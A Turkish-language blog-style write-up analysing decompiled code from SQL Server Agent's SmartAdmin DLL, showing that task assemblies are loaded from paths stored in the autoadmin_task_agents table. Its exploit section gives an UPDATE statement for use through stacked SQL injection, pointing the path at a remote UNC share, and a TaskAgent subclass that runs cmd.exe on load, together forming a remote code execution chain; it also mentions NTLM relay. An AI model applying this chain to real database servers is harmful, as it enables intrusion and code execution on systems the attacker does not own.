Sql Server Sad Agent

Sql server hepimizin bildigi Microsoft tarafindan gelistirilen veritabani yonetim sistemidir.

Sad Agent

Sql serverda birden fazla ozellik vardir bunlardan biri olan Sql Agent bugun onu inceleyecegiz. Sql Agent veritabani yonetimi ile ilgili zamanlanmis islemleri otomatize eden bir aractir.

Microsoft.SqlAutoAdmin.SqlAutoAdmin

Sql Agent islemlerini yapan dll Microsoft.SqlAutoAdmin.SqlAutoAdmin.dll bu dll smartbackup,jobs vs ozellikleri barindiran dll.

LoadTaskAgentAssembly

SmartAdminManager’de bulunan LoadTaskAgentAssembly metoduna bakalim.

private Assembly LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor taskAgentDescriptor)
		{
			Assembly assembly = null;
			string text = taskAgentDescriptor.binaryName;
			if (!string.IsNullOrEmpty(taskAgentDescriptor.binaryPath))
			{
				text = taskAgentDescriptor.binaryPath + "\\" + text;
			}
			try
			{
				this.DebugLog("SmartAdminManager: Trying to load task assembly from " + text + "\n");
				assembly = Assembly.LoadFrom(text);
			}
			catch (FileNotFoundException)
			{
				this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
			}
			if (null == assembly)
			{
				FileInfo fileInfo = new FileInfo(Assembly.GetExecutingAssembly().Location);
				text = fileInfo.DirectoryName + "\\" + taskAgentDescriptor.binaryName;
				try
				{
					this.DebugLog("SmartAdminManager: Trying again to load task assembly from " + text + "\n");
					assembly = Assembly.LoadFrom(text);
				}
				catch (FileNotFoundException)
				{
					this.DebugLog("SmartAdminManager: Assembly not found at " + text + "\n");
				}
				if (null != assembly)
				{
					taskAgentDescriptor.binaryPath = fileInfo.DirectoryName;
					this.UpdateTaskAgentPath(taskAgentDescriptor);
				}
			}
			return assembly;
		}

Burada kodu incelemeye baslamadan once dikkat etmemiz gereken TaskAgentDescriptor nested struct var onda da bakalim.

	private struct TaskAgentDescriptor
		{
			// Token: 0x040000CC RID: 204
			public string binaryName;

			// Token: 0x040000CD RID: 205
			public string binaryPath;

			// Token: 0x040000CE RID: 206
			public string className;
		}
  1. Assembly assembly = null; olarak tanimlaniyor.
  2. taskAgentDescriptor.binaryName degeri text degiskenine ataniyor.
  3. Eger binaryPath bos degilse binaryPath + "\\"+ text birlestiriliyor.
  4. ardindan Assembly.LoadFrom ile binary cagiriliyor.

Onemli nokta Assembly.LoadFrom ama tek basina rce icin yeterli degil (ntlm relay vs icin yeterlidir.)

LoadTaskAgentAssembly Trace

Microsoft.SqlServer.SmartAdmin.SmartAdminManager.LoadTaskAgentAssembly(SmartAdminManager.TaskAgentDescriptor) : Assembly @060000D7
		Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Run() : void @060000D9
				Microsoft.SqlServer.SmartAdmin.SmartAdminManager.Start(INativeServices) : bool @060000D4

GetTaskAgentDescriptors

private SmartAdminManager.TaskAgentDescriptor[] GetTaskAgentDescriptors()
		{
			SmartAdminManager.TaskAgentDescriptor[] array = null;
			this.DebugLog("TaskMetadataService.GetTasks: Getting SqlConnectivity Service.\n");
			try
			{
				this.DebugLog("GetTaskAgentDescriptors: Getting Sql connection.\n");
				int num = 0;
				using (SqlConnection privateConnection = this.sqlConnectivityService.GetPrivateConnection(false))
				{
					this.DebugLog("GetTaskAgentDescriptors: Getting number of tasks to execute.\n");
					using (SqlCommand sqlCommand = new SqlCommand("SELECT COUNT(*) FROM autoadmin_task_agents", privateConnection))
					{
						using (SqlDataReader sqlDataReader = sqlCommand.ExecuteReader())
						{
							while (sqlDataReader.Read())
							{
								array = null;
								array = new SmartAdminManager.TaskAgentDescriptor[sqlDataReader.GetInt32(0)];
							}
						}
					}
					this.DebugLog("TaskMetadataService.GetTasks: Getting task details.\n");
					using (SqlCommand sqlCommand2 = new SqlCommand("SELECT * FROM autoadmin_task_agents", privateConnection))
					{
						using (SqlDataReader sqlDataReader2 = sqlCommand2.ExecuteReader())
						{
							while (sqlDataReader2.Read())
							{
								array[num].binaryName = sqlDataReader2.GetString(1);
								array[num].binaryPath = sqlDataReader2.GetString(2);
								array[num].className = sqlDataReader2.GetString(3);
								num++;
							}
						}
					}
				}
			}

Run

run

  1. GetTaskAgentDescriptors methodunu cagirarak task agent descriptors kisimlarini aliyor ve arraya atiyor.
  2. GetTaskAgentDescriptors methodunun gorevi sql baglantisi kurup autoadmin_task_agents tablosuna count atiyor ardindan autoadmin_task_agents tablosuna select atiyor.
  3. Select sorgusundan donen her veriyi binaryName,binaryPath,className degerlerini taskAgentDescriptor arrayina atiyor.

Run methodunda onemli ve bizi ilgilendiren kisim else bolumu.

Type type = assembly.GetType(taskAgentDescriptor.className);
						if (type == null || !type.IsSubclassOf(typeof(TaskAgent)))
						{
							this.loggerService.Log("[SmartAdmin] Task agent " + taskAgentDescriptor.binaryName + " was loaded but is not compatible with the current version of SqlAutAdmin");
						}
						else
						{
							this.DebugLog("SmartAdminManager.Run: Creating task instance.\n");
							this.taskAgents[i] = (TaskAgent)assembly.CreateInstance(type.FullName);
							this.DebugLog("SmartAdminManager.Run: Starting the task.\n");
							this.taskAgents[i].Start(this);
							array[i] = new Thread(new ThreadStart(this.taskAgents[i].DoWork));
							array[i].Name = this.taskAgents[i].GetName();
							this.DebugLog("SmartAdminManager.Run: Starting the task thread.\n");
							array[i].Start();
  1. assembly.GetType(taskAgentDescriptor.className) ile assembly’den taskAgentDescriptor.className type degerini aliyor.
  2. Alinan type degeri null ise veya typeof ile TaskAgent classindan mi aliyor.
  3. CreateInstance type’daki FullName’i alir. (Not:CreateInstance c# da belirli bir class,struct degerlerinin dinamik instance olusturmak icin kullanir.)
  4. Ardindan Start metoduna gonderir.

IsSubclassOf

IsSubclassOf bir reflection methodudur. Biraz buna baktigimda gordum ki belirli bir type degerinin baska bir type’in (class’in) alt sinifi olup olmadigini kontrol ediyor bu kodda da bize type bypass kolayligi sagliyor.

TaskAgent

using System;

namespace Microsoft.SqlServer.SmartAdmin
{
	// Token: 0x0200002B RID: 43
	public abstract class TaskAgent
	{
		// Token: 0x0600010A RID: 266
		public abstract void Start(IServicesFactory services);

		// Token: 0x0600010B RID: 267
		public abstract void Stop();

		// Token: 0x0600010C RID: 268
		public abstract void DoWork();

		// Token: 0x0600010D RID: 269
		public abstract void ExternalJob(string command, LogBaseService jobLogger);

		// Token: 0x0600010E RID: 270 RVA: 0x000060B8 File Offset: 0x000050B8
		public string GetName()
		{
			return this.taskAgentSignature;
		}

		// Token: 0x040000C8 RID: 200
		protected string taskAgentSignature;
	}
}

Exploit7 Bolumu

Sql injection uzerinden stack query varsa yapilabilir.

update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";

Microsoft.SqlServer.SmartAdmin TaskAgent classindan bir class turetelim.

using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;

namespace Class1
{
    public class Class1 : TaskAgent
    {
        public Class1()
        {

            Process process = new Process();
            process.StartInfo.FileName = "cmd.exe";
            process.StartInfo.Arguments = "/c ping localhost -t";
            process.StartInfo.UseShellExecute = false;
            process.StartInfo.RedirectStandardOutput = true;
            process.Start();
            process.WaitForExit();
        }

        public override void DoWork()
        {

        }

        public override void ExternalJob(string command, LogBaseService jobLogger)
        {

        }

        public override void Start(IServicesFactory services)
        {

        }

        public override void Stop()
        {

        }

       
        public void Test()
        {

        }
    }
}

rce